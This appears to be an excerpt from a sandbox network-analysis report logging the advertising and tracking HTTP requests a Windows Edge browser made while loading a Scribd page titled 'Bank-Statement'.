Source: global traffic	HTTP traffic detected: GET /check/106 HTTP/1.1Host: check.analytics.rlcdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=278d49a0-7438-4d91-b279-4140b7a88103%252Chttps%25253A%25252F%25252Fids.ad.gt%25252Fapi%25252Fv1%25252Ftapad_match%25253Fid%25253DAU1D-0100-001739863208-59L27RBO-LEXM%252526tapad_id%25253D278d49a0-7438-4d91-b279-4140b7a88103%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_7fb5b5e5-fe03-4853-b9a4-c08f05008c91&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_7459a9b8-1486-4e4a-b30a-1f160c22b2d9&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_2c483b47-bf2b-4e11-a58c-5b96c7b774d9&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/getpixels?tagger_id=b9be9e1d9d5a9785a6417a9309e00232&url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&code=%27none%27 HTTP/1.1Host: pixels.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /js/pubcid/latest/pubcid.min.js HTTP/1.1Host: secure.cdn.fastclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ps/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync-iframe?gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D150%26advUuid%3D%7BpartnerId%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: cs-server-s2s.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_4aac52bd-6762-4a7e-902d-2ea9adf328d8&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmphb?zcc=1&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D&cb=1739863216170&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=sekindo&gdpr=0&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c/441/441/9/1.gif?puid=u_40f4d0d1-7d43-400a-9ea4-194c05016048&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lt/c/16576/sync.min.js HTTP/1.1Host: tags.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /live/liveCS.php?source=external&gdpr=0&gdpr_consent=&advId=98&advUuid=86f8e4fd-fa23-4973-aa3d-d0448088be1a HTTP/1.1Host: live.primis.techConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: csuuid=67b434a8abd6b
Source: global traffic	HTTP traffic detected: GET /v/1.0/avjp?ju=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ch=UTF-8&res=1280x1024x24&ifr=true&tz=300&tws=1232x910&be=1&bc=hb_pb_3.0.3&dddid=d7fbe8dd-ab72-4643-ac59-7845269b4959&nocache=1739863212676&us_privacy=1-N-&id5id=ID5dsF5z4SopjWg7L46Fh5We-K61R1MHFQXiSSNBFS3nvH6ZRBBBLkJ9vyYHEqnVbgh&pubcid=2e964d33-a208-43d9-b632-88592ff664dd&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&auid=561342919&vwd=300&vht=169&aucs=adUnit_9&aumfs=2700 HTTP/1.1Host: freestar-d.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plainAccept: /*Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dadnxs%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /live/liveInternalSsp.php?sspData=%7B%22enc%22%3Atrue%2C%22comp%22%3Atrue%2C%22data%22%3A%22%5C%22rJmgW%2F1m2eeS%2Fzf65713BfoG2JAsAjygTiN1QgKrg790ZFhATbmgY8fx6V9%2FHa1YxtycxmTg9N4outEweVon1r6wyVv9GU3rDAYoWhHmToCiaw%2F7%2FVD8HxmkhWo5uKWd2yNFpsPyv2xuGSRFx%2FMODWp8b8p0V4W%2Bc4gi1O9B%2B3hy6lPimruAx7CU6%2BLAxFG2XOxO%2FGuPFqYySrvRHub%2Bj7EXwfl4Zr3yXUzgZKSWLGT1udW0OM9Af6Y5g3SBdznynTohD6O%2BPjw6%2Futq6%2BZLWeQ9B3dMJCgXZPCWFdoy1qmQc3TDEfcNN7dY3%2FKDeRcJXF%2FmQb5A6ofdozcavzv6cNNVVnkZfmZERW3dP7I8RQgTuV7OoO3NVd0n2xzR0fmQOFj%2F0KczuZ5HsPcrHjJ325K8WZCEN5UmlC2nKsvsxeUV0gQ3EG1%2FvUxjVSsFF5Zy5M1tFbd%2BiP8mAazay%2FvQQjutqk4dbdF6iI2G%2F8LXsyyz9CON3mPjz4XBdB9EtfX7q5pak7JDL2PXGIo3yvoXuWtvVYzSzr%2BP%2BzAg%2B5lTBnzYl%2BIjXRdntTpM%2B0NeoBzkbk96%2FZE%2FQIh2myFromTfr15xK0yZ7gYKKumTNfWfubAqRjPucMaTmPWEFrqyLR9arN%2Fp3PTecGJk2x8KGMjfLZJGWD0rk140DfoDIsk9NvH5qW%2FOCZph4Y5xmbhKXyU77AOV5kXoxOThiMuYpeqoxPdpgBClVQXec1yR7eIogbAF3C%2Fp7ODDhTZid5NgfmXEFV3QlwXUF1VWSZZ2My%2BU8mIg9Zv1xKJtWhS16mzOaXlx56Sh35cWjaVNqZKUWeznzSu4xFyneAzmdgjWRFPq0Luz3Ebilrv1pN0OXU0TAIXGpbOz86KcEgi46NlOgSv3Bgf0wwVFb3tYDMzYkGxUz0o0yy8BV47SFisCvVdc6z4%2FLA179V2rqEYI9giNaA6PDfJ%2Fc%2FUf%2FDKpF%2BVsH5rw42E0W4Usnr995F%2F4J%2B9zs%2FmJ5iPTlWjr5Jg30nrLlWRlsP373hoh%2F98q%2Fc1%2FvJqlrqOzn4Bs6jIwq1sWwOXXqaXlkSdJqlt%2FQo9LceKJE5o2vjc49SvJBaQiGdZB0CMDo9joBhyrL46CQW88DipGv0WESxy8s8RzKPuU0UIFT9%2FPfhKGqzOGyMoN8vusFNWn8J2OKYlakTDsD8suWLgUE2rfXbaJ1GianG8ER1HOiHR5Xp17ck%2Bf4ZB1SqtlolWXYb%2BDYCT7oAg4RZJeBj7nVeOK%2Fw0y5ZitABKEtkx%2Bb7YOIjxONKqIBudD%2FVQW%2BdNBGI0wGm6VFY1ZryeX5VGr0ghOTclWkxW326rUgLCecd2%2B4PGBKqSpKyW2n8VA1ZjSiyXVByhb%2FSvd77qmZJV1Wyl3nt7X7JtqVtCLQDzaVU6lSXNHd6gq8E%2BuF3sgAjNuG11sJKalYm31EV46KEeMdGHSes3FJG0XCJS61eUdltbW1wK3DWb6l4cCG8Ctw0Vq9oh5bJi5vyQUYyZ0uivzJXI73HLXxyQ8q6kcm2JhcqzZOd%2B%2FZjPKr1YhwCGMjw1eCwRPljJd7TU2zBNLwFyuMBf5wK3sVrQMFc7XvFDU8LhfnPNveAvf%2BXhZyW1ALfJRj6kz%2BTKTP%2FXUmLPCvorABtw%2BXnhOH7Q5hseT3O4oqLlP4S12WAGeZjWt9SvirUWJNJkts0GlGdORVcWf7Mc4oliyO5ElREZt2v6PGhgmSLzNl6RG1KxZLCcKn06d7ieclOVHbTWjyQ4MJSl3n4PLDt6jZaWs08QhQC43Dnl72JxF5%2BGqx5ZJVlqec8eOmDtY%2BfMXty%2FJnQs87bXsB79h%2B18IsdW4PkB%2BrpVtbRyo8K8ApOB7Zys6KABrFcf%2Bx9cSxV6kAWJWcG%2FLskIS%2B074hjhK7WohIZl1bTmPoihB1qSfHbBlRccERwoBeG6jC2U4SIHrt4Oub%2FMHpPpyWq%2FD4Rqt%2FvupNxSOfWNmCMw5sHF2%2BeybhEXRZlC1NbqXcP5JSB16bkqCnfXcHyJHah%2Fox5CaI3W3%2Fn%2BD1EepH4wUIc667rsUOnPcRfaupKuH8DvQFyi1LnAzDDci95A%2FK1wGwh9RjsI3I2HMFhc6FCr%2Bsg9RyjkFUYxa5WKPw4tFS9cUYNC7tnf%2Fyr3D0sGTGT8DO%2FV2%2BRU7skZ2DvM54usATfycB3nOk1Yam8FOg%2F0iuJ1S3FsfsMXOH4Oq7VzL%2B7quhIp%2FDdOhlT4BW31gfE8BV141e9w6FGkgRjRfHr150cd%2FH1fVc%2FiYCzOjh8FaYGha%2Fn%2BDeUepe2Ce%2BCNP2qpmjoVn3sHVhfwNKrfhtLWa948B2J91OhBouLlHa%2FBC64oskE%2FgIjI%2Fr9ut9%2F3dgf%2BQFKB320%2FFmcZq8kRzDlOzZxsKR7B71K6sx6Vwzwwtx7xqXmaVgvTPANi28P%2B%2FLZB9fpumgPqS56hK0l50DJlDbrrtb9P%2BV0LHo5liswp61tJUOJJNzhXdPj8tRVT8KIDfRyrsLdOLY373kkNOV2OrVs37lcb1OYO71fI2Zuh%2FPn68U4rVo%2B9OlfH13P77%2B%2B2w1ush5liaev%2FT0mPt%2BK%2FT2ZU3PEi5a2sDt0%2B%2BV%2F6RslHmvqTIM9C3Psy%2FRq8H0HsfdX8Ziu99Fnpq6Dfr4S%2FL70Bsg%2F2it75K3B%2B4739UnBc63uOQFlZXVCh2
Source: global traffic	HTTP traffic detected: GET /ima.js HTTP/1.1Host: cdn-ima.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /e/dtb/bid?src=600&u=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&pid=huhthjvhyAwzr&cb=0&ws=1x1&v=25.205.027&t=2000&slots=%5B%7B%22fc%22%3A%22USD%22%2C%22fp%22%3A400%2C%22id%22%3A%22aps_primis_oustream_ron%22%2C%22mt%22%3A%22v%22%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Microsoft+Edge%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%222045%22%2C%2247%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&schain=1.0%2C1%21freestar.com%2C1651%2C1%2C%2C%2C&sm=5858eef9-e2a5-4b60-835f-2c3e73ea163a&pubid=0ab198dd-b265-462a-ae36-74e163ad6159&gdprl=%7B%22status%22%3A%22no-cmp%22%2C%22cmpTimeout%22%3A75%7D&vm=%7B%22ids%22%3A%7B%2233across%22%3A%22v1.0013300001cFpYHAA0.1038.Q8NmvhCtpWh2jnmq%2FN8p16GmYmiWIakJbstbc1UkKKxDcghP%2BwAZK0DkUCs2msFU%2BiFG0AsyP4rOCOZhlRbOgXQhq02%2BzIILAeAQEWJ4Y0QP5Chg1oq5mt4zOKiQKLBinyMRjb5RDOqGau60iIlH6e7AcrG1pLsMb6FR8xNeg%2FyA1CuOTV1aCrKbtDCihCQMqa58URxomqUHaNEUBZ0AS1FvKvwZSottpwBbMlkMs1f0SfKPotpysSYl5IAV0M2baY9%2B49Dv22LOahJXUd%2Ftc18xm%2BrQCZW4IbEVDDNORtZf6kQhTjc49qrvT6CgtTdNt5k8mP05B68Ou5JeFqNPp%2BYeXRpBGH7gECeCs4DfA6NAhxMnQ%2BE4POTLqhADOsxnkE1dwyim%2FduGX36ucyluJuO4LTK0FIXnNMb2Ws35XNkcK8hq0q5lVdkK1oHXN127md%2B5TtnjAzZn2trq9%2Bga5DMQjYiqzKXzEjRNcyZsSt0WC9kRWeWr%2B8ljp22B4s7gfUDKnShHVGpkriOW%2F2CcTlSl6uyuIGTv0jOybbssx23zjJ%2FcLx8NLGAriMPZQY3%2FfcOcfZd5d1m1MrR7K6TsUvJC2bTGkExG2Bpi8%2BQlhDyzmICTk2w8oKJ8%2F1nkZta03t8ATFX8yvA2PXQIs62x6SVW%2FRSdxMzk%2FsnDG%2BRgqt%2BiP97cbhiF9c35LflfQfEQrbMtFzVXBwCaddj9WNzxbkpgmY37yn%2BOzWgfBOO%2FxR6cPE5DaaBf%2BaZkRlQCtu%2F4HAdfY2em1oHqvf3XFpQYzbk4XzV%2FdHGHmW%2Fli96J%2BGCLMN%2BEN3jeAztCoBUSRDQbLUBgCo1sIEKniXnBYQNVcgGs6p6ahkO4J3mqzajuOGJ1rz7tucb5X0VmdiFswd2on4YfBcBkV3F95qyw99esf%2F1bw7s3wlFSY%2BWSI%2Be2EfYQXooV759lQEA5kgGEaM6Kv3vFCCKrNkdLZuEJDo7vdb7UjJOH3xdSYiruSxVk0XIZ9Xem4ASwwtv4uRV3TpcRWZo7Z1Ozu1J8j6DABDHQmMpaICyqV%2FxyWNhiOthjJybal6WemzRbMd5m9EyIWOtx09E3vPuHDwIcb%2BvhuQ4r8uoHr5W8Lt7ftJq9%2F%2Bk2qndzaIj%2Bzz7eE2tqEsxRYZRtd3s5%2BdQKXO4LRsv7CtSioGu3e0L6UvH%2FOzvs9oUw1Pf3pSwTRfSdranx%2FmoNRbeZ%2FCMp0VCBQn8SwsoNVWNJ6WmQYjoOl3OXqHKAyePgOFWM5gGKOwOCekPDt2WjIgHBe7xueTX8kMpxS5PhYKCJpsOb4MZt01wvCn4FcFY3BDbem%2BJp49c5%2BeHpGge5d%2BcUWvPvHBIa%2FOxDZkR7rt%2BdWcUZgUESgT7L%2Bkix4b5p46A4%2F2%2BbCbSyp0aa9vmXOkvw7FUXmMF1FQo8qqTTSkoxsQ%3D%3D%22%2C%22audigent%22%3A%220001yum0ea99jha6clfcgeaikjhlll68igi8eiflgfabackkc2jl%22%2C%22fabrick%22%3A%22E1%3ANR7kGsgTmTdZ3ApVVZS6SYbB02fLb_GWccchRFbsdeWJpg3WfgVJPxdlGeycOGXRzOPPwD-TaoNPqAvzRC0aF-PmnBTYRKs7n3whV5_vEac7TM2WXCTrg3trOx7VYRAz%22%2C%22id5%22%3A%22ID5*dsF5z4SopjWg7L46Fh5We-K61R1MHFQXiSSNBFS3nvH6ZRBBBLkJ9
Source: global traffic	HTTP traffic detected: GET /api/1.0/id5-api.js HTTP/1.1Host: cdn.id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /syn?redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Daxonix%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3DxxEMODO_IDxx HTTP/1.1Host: openrtb-us-east-1.axonix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
